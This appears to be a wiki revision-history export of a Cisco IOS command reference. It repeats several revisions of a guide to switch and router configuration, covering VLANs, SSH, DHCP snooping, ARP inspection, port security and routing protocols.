ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1118
Cisco Commands
2026-02-23T22:25:18Z
<p>50.220.241.211: /* Static Routing */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1117
Cisco Commands
2026-02-23T22:24:35Z
<p>50.220.241.211: /* Administrative Distance */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
